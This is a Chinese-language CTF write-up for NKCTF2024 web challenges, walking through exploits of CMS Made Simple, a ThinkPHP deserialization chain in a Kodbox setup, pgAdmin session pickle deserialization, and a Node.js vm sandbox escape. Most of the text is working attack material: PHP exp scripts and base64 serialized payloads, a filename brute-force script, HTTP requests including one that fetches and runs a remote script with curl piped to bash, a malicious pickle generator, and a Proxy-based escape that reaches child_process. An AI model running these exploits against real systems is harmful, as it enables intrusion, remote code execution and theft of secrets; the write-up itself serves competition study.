首页 > 其他分享 >NKCTF2024-WEB-gxngxngxn

NKCTF2024-WEB-gxngxngxn

时间:2024-03-24 22:44:22浏览次数:25  
标签:__ WEB const .. NKCTF2024 gxngxngxn new think files

WEB

my first cms

cms made simple 2.2.19

参考:GitHub - capture0x/CMSMadeSimple

后台有个rce漏洞

访问/admin路由直接爆破弱口令

得到admin/Admin123

然后访问

admin/editusertag.php

修改为:

<?php echo system('cat /_fffff1@g'); ?>

得到flag

用过就是熟悉

拿到源码进行审计

看到引入了tp框架

在登录的地方有很明显的反序列化点

接下来就是找tp的链子:

先找入口点: __destruct()

找到这里会调用removeFiles,跟进函数

看到这里会把$this->files当成字符串拼接,可以触发toString

跟进toJson,会调用toArray

看到toArray可以调用一个不可访问的属性,可以触发__get

看到这里只有一个__get魔术方法,可以触发__call

看到这里的__call可以读取hint文件,那么终点就是这里了

直接写exp:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $item;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}


namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;

class Debug extends Testone
{

}
namespace think;
abstract class Testone
{

}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("loginout"=>new \think\Debug());
$A -> files[0]-> items->engine = array("time"=>"10086");
echo base64_encode(serialize($A));

payload:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==

接着我们注意到文件名是以时间戳的md5以后重新生成的,那么我们不断发包爆破即可:

import time
import hashlib
import requests
url="http://7f18d7c7-788d-4e80-9626-ecdadda7673e.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
while(1):
 a = str(int(time.time())).encode('utf-8')
 hash_object = hashlib.md5(a)
 md5_hash = hash_object.hexdigest()
 #print(url+md5_hash)
 re1=requests.get(url+md5_hash)
 print(url+md5_hash)
 if 'kodbox' not in re1.text:
  print(re1.text)
  break

先不断的发送访问文件的请求,然后bp不断发送请求包(相当于不断的生成文件)

得到hint的内容:

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

这里提示我们guest的密码就是明文+Chu0,那么如何得到明文?

注意到这里有段解密逻辑,我们本地调试,将hint中的包提交试试

得到密码明文,接着使用

guest/!@!@!@!@NKCTFChu0

登录即可

由于是最新版的可道云,就不考虑本身存在的漏洞了,在回收站找到一个新建文件.html的文件,里面提示var/www/html/data/files/shell这里有个一句话木马,那么就想办法包含这个文件

在think\Config.php中找到__call

这里可以包含,而且这里的过滤就是一个摆设,一点用没有

直接改下exp:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $items;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}

namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));

接着发包即可:

POST /?user/index/loginSubmit HTTP/1.1
Host: 4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 524
Origin: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
Connection: close
Referer: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn/
Cookie: KOD_SESSION_ID=64c270bccb5c05527633e83a39335ff8; CSRF_TOKEN=7G373pfZFetxc4CY

name=guest&password=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoibmFtZSI7czo1NjoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvZmlsZXMvc2hlbGwiO319fX19&rememberPassword=0&salt=1&CSRF_TOKEN=7G373pfZFetxc4CY&API_ROUTE=user%2Findex%2FloginSubmit&0=system('curl http://81.70.252.29/1.txt|bash');

成功弹shell,得到flag

attack_tacooooo

参考:屏蔽器 - pgAdmin (<=8.3) 会话处理中的路径遍历会导致不安全的反序列化和远程代码执行 (RCE) (shielder.com)

其实就是打一个pickle反序列化

登录:[email protected]/tacooooo

import struct
import sys
import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = A()
result = pickle.dumps(poc)
if __name__ == '__main__':
    with open('C:\\Users\\86183\\Desktop\\posix.pickle', 'wb') as f:
        f.write(result)

提示没有curl和bash,那么就可以通过写文件,通过抓包上传文件得到上传文件的路径

/var/lib/pgadmin/storage/tacooooo_qq.com/

直接上传posix.pickle,然后修改cookie

pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!+DrpP6qW8K+12X2dzDyM0fdW/0o6ePTPKEZYaF4sr7s=;

然后访问下载1.txt即可得到flag

全世界最简单的CTF

拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

可以看到vm逃逸 bypass,可以看到过滤关键字的时候对大小写敏感

所以我们可以利用toLowerCase()函数来绕过部分,然后利用反射调用的方式来获取exec

payload:

throw new Proxy({}, {

  get: function(){

  const cc = arguments.callee.caller;

   const aa = 'return Process'.toLowerCase();

   const bb = 'child_pRocess'.toLowerCase();

   const p = (cc.constructor.constructor(aa))().mainModule.require(bb);

    return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));

  }

})

成功弹shell,执行/readflag获得flag

标签:__,WEB,const,..,NKCTF2024,gxngxngxn,new,think,files
From: https://www.cnblogs.com/gxngxngxn/p/18091636

相关文章

  • 【JavaWeb】Day19.Vue组件库Element——常见组件
    一.Element常见组件-表格Table表格:用于展示多条结构类似的数据,可对数据进行排序、筛选、对比或其他自定义操作。首先打开官网找到表格(Element-Theworld'smostpopularVueUIframework)以带边框表格为例,点击显示代码把代码复制到自己的vue项目中点击npm脚本运行,......
  • 【JavaWeb】Day18.Vue组件库Element
    什么是ElementElement:是饿了么团队研发的,一套为开发者、设计师和产品经理准备的基于Vue2.0的桌面端组件库。组件:组成网页的部件,例如超链接、按钮、图片、表格、表单、分页条等等。官网:Element-Theworld'smostpopularVueUIframeworkElement快速入门安装ElementUI......
  • 【javaWeb &第三篇】Vue快速入门
    VUEvue是一套前端框架,免除原生的js的DOM操作,简化书写基于MVVM(model-view-viewmodel)思想,实现数据的双向绑定,将编程的关注放在数据上。什么是框架:框架相当于一个半成品,是一套高效的代码模板,基于框架开发更加的高效VUE数据绑定模型:model层中存在着对数据的处理,vi......
  • python自动化——web自动化框架常用封装代码复习——当你会开发之后,发现一切都是如此
    PS:  PO模式知识点如下: 1、知识点:函数的书写、类、继承,模块导入; 2、思路:分层,抽离;     =====================================================================          编写用例基础版本:   pytest参数化,以及原始selenium用例编......
  • python趣味编程-使用 Django 和 WebSockets 的 Python 简单实时聊天室网站
    在Python中使用Django的简单实时聊天室系统该项目名为“简单实时聊天室系统”。这是一个使用Python和DjangoFramework开发的基于Web的应用程序。该应用程序是一个供随机用户使用的简单聊天室。所有人都可以在一个聊天框或对话框中进行交流。聊天消息会自动更新到所......
  • 手动搭建web框架
    Web框架本质web框架本质上就是一个socket服务端,但是它的功能非常强大用户的浏览器可以看作一个拥有可视化界面的socket客户端两者通过网络请求完成数据交互手撸Web框架【1】原始版本web框架可以是自己写的一个简陋的socket服务端importsocketserver=socket.socket......
  • JavaWeb学习笔记——第三天
    Ajax概述Ajax全称AsynchronousJavaScriptAndXML,异步的JavaScript和XML。作用数据交换:通过Ajax可以给服务器发送请求,并获取服务器响应的数据。异步交互:可以在不重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术,如:搜索联想、用户名是否可用的校验等等。同......
  • 【webserver】 C++ 项目webserver面试八股总结(二)
    32.一次网页的访问从URL开始,说一下整个访问的过程客户端获取URL->DNS解析->TCP连接->发送HTTP请求->服务器处理请求->返回报文->浏览器解析渲染页面->TCP断开连接客户端:(应用层开始)获取URL,通过负责域名解析的域名服务获取网址的IP地址,根据HTTP协......
  • new ReactRefreshWebpackPlugin({ overlay: false, }), 作用是什么
    ReactRefreshWebpackPlugin是一个专门为React应用程序提供快速热更新(FastRefresh/HotReloading)的Webpack插件。当你的React组件代码发生变化时,它能够自动重新渲染受影响的组件,而不是刷新整个页面,从而显著提升开发效率。配置项中的overlay:false表示禁用错误提示覆......
  • Java Web项目—餐饮管理系统【last day】-Niginx前后端分离
    文章目录Nginx概述Nginx介绍Nginx下载和安装Nginx的目录结构启动和停止nginx.confNginx应用部署静态资源反向代理配置反向代理负载均衡配置负载均衡前后端分离开发Nginx概述Nginx介绍Nginx是一款轻量级的web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理......